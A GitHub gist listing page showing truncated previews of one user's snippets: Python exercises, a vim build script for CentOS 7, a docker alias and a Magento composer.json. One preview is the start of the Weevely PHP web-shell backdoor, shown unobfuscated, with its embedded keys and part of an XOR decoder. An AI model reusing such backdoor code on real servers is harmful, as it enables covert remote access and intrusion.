Skip to content

Instantly share code, notes, and snippets.

##Using the function
def dummy():
var = 10
try:
return MyTrueCheck(var)
except NameError:
return False
print(dummy())
from functools import lru_cache
def flip(text):
if not text:
return ''
return text[-1] + flip(text[:-1])
def addingUpTo(numbers, idx):
try:
if idx >= 0:
@niloct
niloct / cleartext.php
Created February 14, 2020 02:13
Weevely's backdoor PHP code, unobfuscated
<?php
$k="97bf34d3";$kh="1a8710e6b164";$kf="9fd33357f783";$p="5ZGtAGceuaFv00jx";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0; $i<$l; ){
for($j=0; ($j<$c && $i<$l); $j++,$i++)
{
@niloct
niloct / install_vim.sh
Last active April 5, 2021 10:35
Bash script for installing latest vim on CentOS 7 with python/python3 (3.7.3) support (besides Perl/Ruby/Lua/Tcl)
#!/bin/bash
####### Vim compilation on CentOS 7 ####################
# (Tested together with official CentOS 7 docker image)
########################################################
BUILD_ESSENTIALS='gcc gcc-c++ make zlib zlib-devel'
NCURSES='ncurses ncurses-devel ncurses-term'
X11='libXpm-devel libXt-devel'
BUILD_PACKAGES="$BUILD_ESSENTIALS $X11 $NCURSES"
@niloct
niloct / .bashrc
Last active January 18, 2017 14:41
Bash command for sorting `docker images` command by image size ascending.
alias docker-images-by-size="LC=$LC_NUMERIC && LC_NUMERIC=en_US.UTF-8 && docker images | head -1 && docker images | awk 'NR>2' | sort -k8h -k7n && LC_NUMERIC=$LC"
@niloct
niloct / composer.json
Created August 26, 2014 23:19
Composer.json para o EcomDev_PHPUnit no Magento
{
"repositories": [
{
"url": "https://github.com/vernard/EcomDev_PHPUnit",
"type": "vcs"
},
{
"url" : "https://github.com/ajbonner/magento-composer-autoload",
"type" : "vcs"
}